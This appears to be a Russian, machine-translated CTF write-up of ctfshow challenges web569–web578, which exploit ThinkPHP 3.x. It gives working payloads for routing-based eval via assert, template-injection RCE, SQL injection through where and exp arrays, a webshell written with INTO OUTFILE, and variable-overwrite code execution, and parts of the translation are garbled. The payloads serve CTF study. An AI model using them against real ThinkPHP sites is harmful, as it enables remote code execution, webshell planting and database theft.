Каталог статей
веб569
связанная информация
Обратитесь к руководству thinkphp.
Чтобы получить доступ к методу index на рисунке ниже и вывести hello 123, мы можем использовать следующие четыре режима.
Режим PATHINFO
http://localhost/index.php/Home/Index/index/name/123/
Нормальный режим Режим
http://localhost/index.php?m=Home&c=Index&f=index&name=123
совместимости
http://localhost/index.php?s=Home/Index/index/name/123
Параметр s берется из настройки VAR_PATH_INFO в ThinkPHP->Conf->convention.php, поэтому мы также можем изменить его на другие параметры.
режим ПЕРЕЗАПИСЬ
http://localhost/Home/Index/index/name/123/
отвечать
Таким образом, нам очень просто получить доступ к методу ctfshowLogin контроллера входа в модуль администратора.
url/index.php/Admin/Login/ctfshowLogin
веб570
Загрузите файл приложения, указанный в заголовке, и найдите правило маршрутизации в config.php.
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
То есть, когда мы посещаем url/index.php/ctfshow/xxx/yyy, будет выполняться call_user_func(xxx, yyy).
Поскольку ввод /
сложен, мы не можем выполнить system('ls /') напрямую, и мы можем только изменить метод.
полезная нагрузка:
url/index.php/ctfshow/assert/eval($_POST[1])/
сообщение:1=system('cat /f*');
веб571
Управляемая переменная n видна в методе index в модуле home.
Тогда давайте изучим эту функцию show.Ради этого аспекта мы оставляем только те параметры, которые мы передаем.$n
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show($n);
}
Включить отладку, следить за отображением
Следуя за fetch
, вы можете видеть, что n, который мы передали, то есть контент, войдет в функцию eval, когда TMPL_ENGINE_TYPE равен php.
Таким образом, мы можем напрямую передать php-код.
полезная нагрузка:
?n=<?php system('cat /f*');?>
веб572
В заголовке упоминается взрыв. Когда thinkphp включен для отладки, в каталоге Runtime будет создан файл журнала. Имя 年_月_日.log
файла названо в честь. Так что мы можем взорвать имена файлов
Захват и взрыв пакетов BP
Вы можете видеть, что в дополнение к нашей дате дня, есть также
журнал 21_04_05 с переданным php-кодом. Предполагается, что в фоновом режиме был написан троянский конь с одним предложением, а пароль шоуктф. Тогда тоже попробуем.
полезная нагрузка:
index.php?showctf=<?php system('cat /f*');?>
веб573
Контента много, а ссылка на контент пишется отдельно
веб574
Заголовок дает исходный код домашней страницы
public function index($id=1){
$name = M('Users')->where('id='.$id)->find();
$this->show($html);
}
Отличием от нашего анализа предыдущего вопроса является расширенный вариант where и расширенный поиск, давайте отладим его.
В ?id=1'
итоге в функции where выполняются только части, отмеченные ниже. То есть
$this->options['where']=array("_string"=>"1'")
во фронте разницы нет, фокус в parseWhere, а в это время передается $where
наше $this->options['where']
значение array("_string"=>"1'")
. Итак, мы введем следующее, если
$key
да '_string'
$val
, id=1'
поэтому окончательное возвращаемое содержимое равно ( id=1 )
, поэтому выполненный оператор sql являетсяselect * from xxx where (id=1') limit 1
полезной нагрузкой: ?id=0) union select 1,flag4s ,3,4 from flags%23
(шаги остановки имени таблицы и имени столбца опущены)
веб575
Контента много, а ссылка на контент пишется отдельно
веб576
Исходный код выглядит следующим образом
$user = M('Users')->comment($id)->find(intval($id));
Поскольку идентификатор ключа find использует intval, предыдущий метод внедрения sql использовать нельзя. Затем сосредоточимся на функции comment
, которая присваивает значение комментарию к опциям.
Предыдущие шаги не будут повторяться один за другим. Давайте посмотрим, где используются комментарии.
Когда мы передаем id=1, окончательный оператор sql выглядит select * from users where id=1 limit 1 /* 1*/
так, как построить
полезную нагрузку очень просто:
?id=1*/ into outfile "/var/www/html/a.php" lines terminated by "<?php eval($_POST[1]);?>" /*
веб577
Исходник такой, там больше где чем раньше
$map=array(
'id'=>$_GET['id']
);
$user = M('Users')->where($map)->find();
Его основная функция заключается в присвоении входящего значения$this->options['where']
Варианты теперь выглядят так.
Пройдите весь путь до _parseOptions
функции, и значение, которое val будет присвоено после прохождения отмеченного цикла for options['where']
. Что ж, продолжим. Когда
parseWhereItem в parseWhere является массивом, ему присваивается строка. Если это строка , окончательный возвращаемый контент представляет собой конкатенированную строку , так как же она появилась? Мы подчеркнули следующее: в функции , когда Значение, которому присваивается val после помеченного цикла for . На самом деле все сводится к присвоению значения переданного нами идентификатора. Теперь это очевидно. Пока ?id[0]=exp, который мы передаем, будет введен, а затем id[1]=xxx, который мы передаем, будет помещен в инструкцию sql.
$val
$val[0]
$exp
$exp
exp
$whereStr .= $key.' '.$val[1];
id
$val[1]
$val
_parseOptions
options['where']
$whereStr .= $key.' '.$val[1];
полезная нагрузка:
?id[0]=exp&id[1]==0 union select 1,flag4s,2,3 from flags%23
веб578
Исходный код выглядит следующим образом, начните отладку
public function index($name='',$from='ctfshow'){
$this->assign($name,$from);
$this->display('index');
}
Первая функция присваивания — это простое присваивание. То есть, если мы передаем, ?name=a&from=b,
то $this->tVar=array('a'=>'b');
если мы передаем, ?name[x]=y,
то $this->tVar=array('x'=>'y');
давайте посмотрим на дисплей и проследим за выборкой
, чтобы увидеть, что в этом месте есть функция извлечения для $this->tVar
работы.
Предположим $this->tVar=array('a'=>'b');
, что после передачи этой функции $a
будет сгенерировано значение
b.Следующее является ключевым моментом.Когда empty($_content)?include $templateFile:eval('?>'.$_content);
оно $_content
не пусто, будет выполняться функция eval, так что вы можете обнаружить, что пока переменная перезаписывается $_content
, php код может быть выполнен
.
?name[_content]=<?php system('cat /f*');?>